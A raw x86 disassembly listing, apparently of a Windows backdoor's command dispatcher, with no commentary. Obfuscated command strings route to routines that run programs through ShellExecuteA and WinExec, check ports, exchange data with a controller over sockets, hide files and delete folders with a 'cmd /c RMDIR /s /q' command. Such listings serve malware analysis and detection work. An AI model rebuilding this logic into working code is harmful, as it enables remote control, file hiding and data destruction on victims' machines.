call fcn.00409968
push str.true
lea ecx, [ebp - 0x84]
call fcn.00409823
cmp eax, ebx
jne 0x416d3f
push ebx
push ebx
push 0x405ef2
mov dword [0x45d850], esi
call fcn.0042e846
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x1fa0c], esp
lea ecx, [ebp - 0x68]
push ecx
push 0x44461c
push eax
call fcn.0040e1e2
add esp, 0xc
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1fa14], esp
push 0x444618
mov byte [ebp - 4], 0x38
call fcn.0040d800
lea eax, [ebp - 0x20288]
push eax
mov byte [ebp - 4], 0xe
call fcn.0041024d
add esp, 0x3c
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x39
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x20288]
mov byte [ebp - 4], 0xe
call fcn.00409968
cmp dword [ebp - 0x70], ebx
mov dword [0x45d850], ebx
jne 0x41729c
push str.The_command_completed_successfully.
lea ecx, [ebp - 0x84]
call fcn.0040d325
jmp 0x41729c
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x1fe98]
push 0x44461c
push eax
call fcn.0040e1e2
add esp, 0xc
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x3a
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x1fe98]
mov byte [ebp - 4], 0xe
call fcn.00409968
cmp dword [ebp - 0x50], 0x10
mov eax, dword [ebp - 0x64]
jae 0x416d84
lea eax, [ebp - 0x64]
push ebx
push ebx
push eax
push 0x442f08
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x416d2a
lea eax, [ebp - 0x20480]
push str.gKg5XIBmKqQVZs5WZ0pCP
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x416db7
mov eax, dword [eax + 4]
jmp 0x416dba
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x416dc5
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x20480]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x416fa9
lea eax, [ebp - 0x10000]
push eax
lea eax, [ebp - 0x1fed0]
push eax
call fcn.00411c3b
pop ecx
pop ecx
or edi, 0xffffffff
push edi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x3b
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x1fed0]
mov byte [ebp - 4], 0xe
call fcn.00409968
push edi
push ebx
push 0x443520
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1ff08]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x3c
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x1ff08]
mov byte [ebp - 4], 0xe
call fcn.00409968
push ebx
push 0x4435e0
lea ecx, [ebp - 0x30]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x1fae0]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x3d
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x1fae0]
mov byte [ebp - 4], 0xe
call fcn.00409968
push ebx
mov esi, 0x443660
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x1e4]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push edi
push ebx
mov byte [ebp - 4], 0x3e
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x200]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push str.Port
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x3f
call fcn.0040d325
push edi
push ebx
lea eax, [ebp - 0x200]
push eax
lea ecx, [ebp - 0x84]
call fcn.0040ba68
push str._On
lea ecx, [ebp - 0x84]
call fcn.0040ce51
push edi
push ebx
lea eax, [ebp - 0x1e4]
push eax
lea ecx, [ebp - 0x84]
call fcn.0040ba68
push ebx
sub esp, 0x1c
lea eax, [ebp - 0x200]
mov ecx, esp
mov dword [ebp - 0x1fa0c], esp
push eax
call fcn.0040d2ff
sub esp, 0x1c
lea eax, [ebp - 0x1e4]
mov ecx, esp
mov dword [ebp - 0x1fa14], esp
push eax
mov byte [ebp - 4], 0x40
call fcn.0040d2ff
mov byte [ebp - 4], 0x3f
call fcn.0040b37e
add esp, 0x3c
cmp al, 1
lea ecx, [ebp - 0x84]
jne 0x416f83
push str._is_open
jmp 0x416f88
push str._is_closed
call fcn.0040ce51
push ebx
push 1
lea ecx, [ebp - 0x200]
call fcn.00409968
push ebx
push 1
lea ecx, [ebp - 0x1e4]
jmp 0x417293
lea eax, [ebp - 0x1ff24]
push str.gKg5XIBmKoSRuVXbS92b0tUZ5NnK
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x416fc6
mov eax, dword [eax + 4]
jmp 0x416fc9
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x416fd4
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x1ff24]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x41700d
lea eax, [ebp - 0x84]
push eax
call fcn.0040ebc6
pop ecx
jmp 0x41729c
lea eax, [ebp - 0x1ff40]
push str.gKg5XIBmKgKF5WdttUZ5NnK
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x41702a
mov eax, dword [eax + 4]
jmp 0x41702d
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x417038
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x1ff40]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x417119
or edi, 0xffffffff
push edi
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040c660
push edi
push ebx
mov esi, 0x44313c
push esi
lea ecx, [ebp - 0x68]
call fcn.004092d0
push eax
lea eax, [ebp - 0x20640]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x41
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x20640]
mov byte [ebp - 4], 0xe
call fcn.00409968
push edi
push esi
lea ecx, [ebp - 0x68]
call fcn.004092f1
push eax
push ebx
lea eax, [ebp - 0x1ff78]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x42
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1ff78]
mov byte [ebp - 4], 0xe
call fcn.00409968
sub esp, 0x1c
lea eax, [ebp - 0x68]
mov ecx, esp
mov dword [ebp - 0x1fa0c], esp
push eax
call fcn.0040d2ff
lea eax, [ebp - 0x84]
push eax
call fcn.0040ea00
add esp, 0x20
jmp 0x41729c
lea eax, [ebp - 0x202f8]
push str.gKg5XIBmKgKHVGdSV2ZWFGb1VmK
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x417136
mov eax, dword [eax + 4]
jmp 0x417139
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x417144
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x202f8]
setne byte [ebp - 0x1fa01]
call fcn.00409968
or edi, 0xffffffff
cmp byte [ebp - 0x1fa01], bl
push edi
lea ecx, [ebp - 0x68]
push ebx
je 0x417222
lea eax, [ebp - 0x4c]
push eax
call fcn.0040c660
push edi
push ebx
mov esi, 0x44313c
push esi
lea ecx, [ebp - 0x68]
call fcn.004092d0
push eax
lea eax, [ebp - 0x1ffb0]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x43
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1ffb0]
mov byte [ebp - 4], 0xe
call fcn.00409968
push edi
push esi
lea ecx, [ebp - 0x68]
call fcn.004092f1
push eax
push ebx
lea eax, [ebp - 0x204b8]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x44
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x204b8]
mov byte [ebp - 4], 0xe
call fcn.00409968
sub esp, 0x1c
lea eax, [ebp - 0x68]
mov ecx, esp
mov dword [ebp - 0x1fa0c], esp
push eax
call fcn.0040d2ff
lea eax, [ebp - 0x84]
push eax
call fcn.0040ed07
jmp 0x417111
push 0x443520
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1ffe8]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x45
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x1ffe8]
mov byte [ebp - 4], 0xe
call fcn.00409968
push edi
push 0x4435e0
lea ecx, [ebp - 0x68]
call fcn.004092f1
push eax
push ebx
lea eax, [ebp - 0x20330]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x46
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x20330]
mov byte [ebp - 4], 0xe
call fcn.00409968
lea eax, [ebp - 0x20020]
push str.gKg5XIBmKoSRuVXbXlmbk92dzpCP
push eax
call fcn.00411c3b
pop ecx
pop ecx
push 0x10
pop esi
cmp dword [eax + 0x18], esi
jb 0x4172bc
mov eax, dword [eax + 4]
jmp 0x4172bf
add eax, 4
cmp dword [ebp - 0x34], esi
mov ecx, dword [ebp - 0x48]
jae 0x4172ca
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
test eax, eax
pop ecx
setne byte [ebp - 0x1fa01]
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x20020]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x417322
cmp dword [ebp - 0x50], esi
mov eax, dword [ebp - 0x64]
jae 0x4172ff
lea eax, [ebp - 0x64]
lea ecx, [ebp - 0x1fa2c]
push ecx
push ebx
push eax
push 0x40e655
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x417374
lea eax, [ebp - 0x20598]
push str.gKg5XIBmKgKF5WdtdVauR2b3NnK
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], esi
pop ecx
pop ecx
jb 0x41733f
mov eax, dword [eax + 4]
jmp 0x417342
add eax, 4
cmp dword [ebp - 0x34], esi
mov ecx, dword [ebp - 0x48]
jae 0x41734d
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push edi
lea ecx, [ebp - 0x20598]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x417385
lea eax, [ebp - 0x84]
push eax
call fcn.00415a01
jmp 0x41752f
lea eax, [ebp - 0x20058]
push str.gKg5XIBmKqsUasxGUy92YlN3c
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], esi
pop ecx
pop ecx
jb 0x4173a2
mov eax, dword [eax + 4]
jmp 0x4173a5
add eax, 4
cmp dword [ebp - 0x34], esi
mov ecx, dword [ebp - 0x48]
jae 0x4173b0
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push edi
lea ecx, [ebp - 0x20058]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x4173f7
cmp dword [ebp - 0x50], esi
mov eax, dword [ebp - 0x64]
jae 0x4173e2
lea eax, [ebp - 0x64]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x417449
lea eax, [ebp - 0x20368]
push str.gKg5XIBmKqwUazRHUy92YlN3c
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], esi
pop ecx
pop ecx
jb 0x417414
mov eax, dword [eax + 4]
jmp 0x417417
add eax, 4
cmp dword [ebp - 0x34], esi
mov ecx, dword [ebp - 0x48]
jae 0x417422
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push edi
lea ecx, [ebp - 0x20368]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x41745a
lea eax, [ebp - 0x84]
push eax
call fcn.0040efd8
jmp 0x41752f
lea eax, [ebp - 0x20090]
push str.gKg5XIBmKgKHVGdEJXa2V2cG9GbkVmc
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], esi
pop ecx
pop ecx
jb 0x417477
mov eax, dword [eax + 4]
jmp 0x41747a
add eax, 4
cmp dword [ebp - 0x34], esi
mov ecx, dword [ebp - 0x48]
jae 0x417485
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push edi
lea ecx, [ebp - 0x20090]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x4174d1
sub esp, 0x1c
lea eax, [ebp - 0x68]
mov ecx, esp
mov dword [ebp - 0x1fa0c], esp
push eax
call fcn.0040d2ff
lea eax, [ebp - 0x84]
push eax
call fcn.0040fef1
add esp, 0x20
jmp 0x417530
lea eax, [ebp - 0x204f0]
push str.gKg5XIBmKqcUZ0RkcpZXZzpCP
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], esi
pop ecx
pop ecx
jb 0x4174ee
mov eax, dword [eax + 4]
jmp 0x4174f1
add eax, 4
cmp dword [ebp - 0x34], esi
mov ecx, dword [ebp - 0x48]
jae 0x4174fc
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push edi
lea ecx, [ebp - 0x204f0]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x417530
lea eax, [ebp - 0x84]
push eax
call fcn.0041002e
pop ecx
or esi, 0xffffffff
push esi
push ebx
lea ecx, [ebp - 0x68]
call fcn.00409a0d
push ebx
push ebx
lea ecx, [ebp - 0x68]
call fcn.0040b845
push 0x442e07
lea ecx, [ebp - 0x84]
call fcn.00409823
cmp eax, ebx
jne 0x41756b
push str.NULL
lea ecx, [ebp - 0x84]
call fcn.0040d325
cmp dword [ebp - 0x6c], 0x10
mov eax, dword [ebp - 0x80]
jae 0x417577
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x200c8]
push eax
call fcn.00411da5
pop ecx
pop ecx
push esi
push ebx
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x47
call fcn.0040c660
push ebx
push edi
lea ecx, [ebp - 0x200c8]
mov byte [ebp - 4], 0xe
call fcn.00409968
push dword [ebp - 0x70]
lea eax, [ebp - 0x1c8]
push str.gKg5XIBmKAPqA2cppXZgpiP__d_
push eax
call fcn.0042e20e
add esp, 0xc
lea eax, [ebp - 0x1c8]
push ebx
push eax
call fcn.0042d620
pop ecx
push eax
lea eax, [ebp - 0x1c8]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push 0xfa00
lea eax, [ebp - 0x10000]
push ebx
push eax
call fcn.0042d760
push 0x1e
lea eax, [ebp - 0x1c8]
push ebx
push eax
call fcn.0042d760
add esp, 0x18
cmp esi, ebx
jge 0x417651
push ebx
push 0xfa00
lea eax, [ebp - 0x10000]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
lea eax, [ebp - 0x10000]
push str.gKg5XIBmKAPhoSRuRGVhN3aqEiP
push eax
mov dword [ebp - 0x1fa18], esi
mov byte [ebp + esi - 0x10000], bl
call fcn.0042dec0
test eax, eax
pop ecx
pop ecx
je 0x415c3c
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x417603
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x1fa18], eax
xor esi, esi
cmp esi, dword [ebp - 0x1fa18]
jge 0x4176a2
cmp dword [ebp - 0x6c], 0x10
mov eax, dword [ebp - 0x80]
jae 0x417670
lea eax, [ebp - 0x80]
mov ecx, dword [ebp - 0x1fa18]
push ebx
sub ecx, esi
push ecx
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push 1
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, ebx
jle 0x417698
add esi, edi
jmp 0x41765c
cmp edi, 0xffffffff
jne 0x41765c
jmp 0x41903a
lea eax, [ebp - 0x90]
push ebx
push eax
call fcn.0042d620
pop ecx
push eax
lea eax, [ebp - 0x90]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x84]
call fcn.00409a0d
push ebx
push ebx
lea ecx, [ebp - 0x84]
call fcn.0040b845
jmp 0x418e77
lea eax, [ebp - 0x1fafc]
push str.gKg5XIBmKqEEZkRUaypCP
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x4176fe
mov eax, dword [eax + 4]
jmp 0x417701
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x41770c
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x1fafc]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x4178d2
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040c660
push 0xffffffffffffffff
push ebx
mov esi, 0x443520
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1fb34]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x48
call fcn.0040c660
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x1fb34]
mov byte [ebp - 4], 0xe
call fcn.00409968
push 0xffffffffffffffff
push ebx
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1fb6c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 0x49
call fcn.0040c660
push ebx
push edi
lea ecx, [ebp - 0x1fb6c]
mov byte [ebp - 4], 0xe
call fcn.00409968
push ebx
mov esi, 0x4435e0
push esi
lea ecx, [ebp - 0x11c]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x1fba4]
push eax
lea ecx, [ebp - 0x11c]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 0x4a
call fcn.0040c660
push ebx
push edi
lea ecx, [ebp - 0x1fba4]
mov byte [ebp - 4], 0xe
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x1fbdc]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x4b
call fcn.0040c660
push ebx
push edi
lea ecx, [ebp - 0x1fbdc]
mov byte [ebp - 4], 0xe
call fcn.00409968
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41785f
lea eax, [ebp - 0x2c]
push eax
call fcn.00401ee8
test al, al
pop ecx
jne 0x418da4
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41787a
lea eax, [ebp - 0x2c]
push eax
call fcn.0043dfdd
test eax, eax
pop ecx
jne 0x418da4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x443620
lea ecx, [ebp - 0x11c]
call fcn.00409823
cmp eax, ebx
mov eax, dword [ebp - 0x2c]
jne 0x4178c2
cmp dword [ebp - 0x18], 0x10
jae 0x4178b4
lea eax, [ebp - 0x2c]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x418da4
cmp dword [ebp - 0x18], 0x10
jae 0x4178cb
lea eax, [ebp - 0x2c]
push 0x80
jmp 0x4178b6
lea eax, [ebp - 0x1fc14]
push str.gKg5XIBmKqQUZsRUaypCP
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x4178ef
mov eax, dword [eax + 4]
jmp 0x4178f2
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x4178fd
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x1fc14]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x417a67
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040c660
push 0xffffffffffffffff
push ebx
push 0x443520
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1fc4c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x4c
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x1fc4c]
mov byte [ebp - 4], 0xe
call fcn.00409968
push ebx
push 0x4435e0
lea ecx, [ebp - 0x30]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x1fc84]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x4d
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x1fc84]
mov byte [ebp - 4], 0xe
call fcn.00409968
cmp dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x2c]
jae 0x4179c4
lea eax, [ebp - 0x2c]
push eax
call fcn.00401ee8
cmp al, 1
pop ecx
jne 0x418da4
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4179df
lea eax, [ebp - 0x2c]
push eax
call fcn.0043e009
cmp eax, 0xffffffff
pop ecx
jne 0x418da4
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4179fb
lea eax, [ebp - 0x2c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x1fcbc]
push str.cmd__c_RMDIR__
push eax
call fcn.0040e1e2
add esp, 0xc
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x4e
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1fcbc]
mov byte [ebp - 4], 0xe
call fcn.00409968
push str.___s__q__exit
lea ecx, [ebp - 0x30]
call fcn.0040ce51
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x417a5a
lea eax, [ebp - 0x2c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x418da4
lea eax, [ebp - 0x1fe0c]
push str.gKg5XIBmKqcUZ0ZUasVmK
push eax
call fcn.00411c3b
pop ecx
pop ecx
mov esi, 0x400
or dword [ebp - 0x1fa08], esi
cmp dword [eax + 0x18], edi
mov byte [ebp - 4], 0x4f
jb 0x417a93
mov eax, dword [eax + 4]
jmp 0x417a96
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x417aa1
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x417c1b
lea eax, [ebp - 0x1fdd4]
push str.gKg5XIBmKoyUjNFavRnK
push eax
call fcn.00411c3b
pop ecx
pop ecx
or byte [ebp - 0x1fa07], 8
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x50
jb 0x417add
mov eax, dword [eax + 4]
jmp 0x417ae0
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x417aeb
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x417c1b
lea eax, [ebp - 0x1fd9c]
push str.gKg5XIBmKgKEVXbwBVYzNnK
push eax
call fcn.00411c3b
pop ecx
pop ecx
or byte [ebp - 0x1fa07], 0x10
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x51
jb 0x417b27
mov eax, dword [eax + 4]
jmp 0x417b2a
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x417b35
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x417c1b
lea eax, [ebp - 0x1fd64]
push str.gKg5XIBmKgKEVXbwhUazRnK
push eax
call fcn.00411c3b
pop ecx
pop ecx
or byte [ebp - 0x1fa07], 0x20
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x52
jb 0x417b71
mov eax, dword [eax + 4]
jmp 0x417b74
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x417b7f
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x417c1b
lea eax, [ebp - 0x1fd2c]
push str.gKg5XIBmKoySllHTvdmK
push eax
call fcn.00411c3b
pop ecx
pop ecx
or byte [ebp - 0x1fa07], 0x40
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x53
jb 0x417bbb
mov eax, dword [eax + 4]
jmp 0x417bbe
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x417bc9
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x417c1b
lea eax, [ebp - 0x1fcf4]
push str.gKg5XIBmKoyQslGci9WYyRGTvdmK
push eax
call fcn.00411c3b
or byte [ebp - 0x1fa07], 0x80
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x417bfa
mov eax, dword [eax + 4]
jmp 0x417bfd
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x417c08
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
mov byte [ebp - 0x1fa01], bl
je 0x417c22
mov byte [ebp - 0x1fa01], 1
test byte [ebp - 0x1fa07], 0x80
je 0x417c40
and byte [ebp - 0x1fa07], 0x7f
push ebx
push 1
lea ecx, [ebp - 0x1fcf4]
call fcn.00409968
test byte [ebp - 0x1fa07], 0x40
je 0x417c5e
and byte [ebp - 0x1fa07], 0xbf
push ebx
push 1
lea ecx, [ebp - 0x1fd2c]
call fcn.00409968
test byte [ebp - 0x1fa07], 0x20
je 0x417c7c
and byte [ebp - 0x1fa07], 0xdf
push ebx
push 1
lea ecx, [ebp - 0x1fd64]
call fcn.00409968
test byte [ebp - 0x1fa07], 0x10
je 0x417c9a
and byte [ebp - 0x1fa07], 0xef
push ebx
push 1
lea ecx, [ebp - 0x1fd9c]
call fcn.00409968
test byte [ebp - 0x1fa07], 8
je 0x417cb8
and byte [ebp - 0x1fa07], 0xf7
push ebx
push 1
lea ecx, [ebp - 0x1fdd4]
call fcn.00409968
test dword [ebp - 0x1fa08], esi
mov dword [ebp - 4], 0xe
je 0x417cdc
and byte [ebp - 0x1fa07], 0xfb
push ebx
push 1
lea ecx, [ebp - 0x1fe0c]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x4186ee
push 0x45b9f0
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 0x54
call fcn.0040d325
lea eax, [ebp - 0x1fe44]
push str.gKg5XIBmKoyUjNFavRnK
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x417d19
mov eax, dword [eax + 4]
jmp 0x417d1c
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x417d27
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
